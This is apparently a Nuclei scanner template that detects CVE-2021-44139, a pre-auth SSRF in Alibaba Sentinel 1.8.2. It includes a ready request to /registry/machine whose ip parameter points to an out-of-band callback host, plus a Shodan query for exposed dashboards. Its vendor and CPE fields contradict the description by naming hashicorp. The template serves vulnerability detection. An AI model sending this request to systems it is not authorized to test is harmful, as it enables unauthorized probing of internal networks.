53 lines
1.9 KiB
YAML
53 lines
1.9 KiB
YAML
id: CVE-2021-44139
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info:
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name: Alibaba Sentinel - Server-side request forgery (SSRF)
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author: DhiyaneshDK
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severity: high
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description: |
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There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to send crafted requests from the server, potentially leading to unauthorized access to internal resources or network scanning.
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remediation: |
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Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139).
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reference:
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- https://github.com/alibaba/Sentinel/issues/2451
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-44139
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cwe-id: CWE-918
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epss-score: 0.01355
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epss-percentile: 0.84641
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cpe: cpe:2.3:a:hashicorp:sentinel:1.8.2:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: hashicorp
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product: sentinel
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shodan-query: title:"Sentinel Dashboard"
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tags: cve,cve2021,ssrf,alibaba,oast,misconfig,sentinel,hashicorp
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http:
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- method: GET
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path:
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- "{{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: word
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part: header
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words:
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- application/json
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- type: word
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part: body
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words:
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- '"success":true'
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- '"msg":"success"'
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condition: and
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# digest: 4a0a00473045022062e88b5a0cf737df0d2a69b11956afb9a40244ed037881abeae58f7609d937c3022100b484a5faabd1beab1bdc133f8691e481276082c2abac7fc5bb17d3fb8e0df82d:922c64590222798bb761d5b6d8e72950 |